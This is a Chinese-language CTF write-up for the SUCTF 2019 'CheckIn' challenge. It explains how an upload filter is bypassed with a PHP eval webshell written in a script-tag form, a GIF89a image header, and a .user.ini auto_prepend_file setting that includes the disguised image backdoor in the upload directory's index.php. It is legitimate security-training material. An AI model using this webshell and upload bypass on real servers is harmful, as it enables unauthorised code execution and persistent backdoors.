BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 文件上传,首先上传一张图片马试试

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

提示<?被过滤,可以用下面代码绕过

<script language="php">eval($_POST{attack});</script>

 

 BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 

 显示上传成功,和已经上传的文件

下面就是想办法上传有效的后门

根据尝试,大部分后缀例如php3,php4,phtml均被过滤了 

 

这里观察可以发现,在文件上传的目录里有个默认的index.php文件

这里就考虑采用.user.ini


首先先说一下.php.ini文件

该文件可以设置一些php的配置,有些重要必须要在这里面设置

但是有些不怎么重要的可以在 .user.ini设置

其中有一个配置可以利用

auto_prepend_file=1.php
auto_append_file=2.php

这是一个当前目录下的全局文件包含,例如我们想这一个文件里包含1.php

一般会在文件文件开头写上

include './1.php';   //require

但是对于几百个文件想一次性包含同一个文件,就可以用.user.ini

auto_prepend_file=1.php    //是所有文件开头包含1.php
auto_append_file=2.php     //是所有文件尾包含1.php

这样我们可以上传png格式后门,在将他包含到当前目录下所有的php文件中

这也就是虽然我们没法上传php,但是默认给了个空白php文件的原因

 


 

 

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 首先上传包含后门代码的png,这里注意 <? 被过滤了,因此要或一种写法

另外会检查图片开头判断是不是图片,可以加速GIF89A绕过

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 再上传.user.ini

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 注意,这里包含的文件是刚才传入的图片马

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

接下来访问uploads目录下的index.php

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 发现只打印了图片头,说明成功

BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

 BUU-日刷-[SUCTF 2019]CheckIn 1-.user.ini利用

 

上一篇:Python入门基础(字符串前加u,r,b,f的作用)


下一篇:记忆化搜索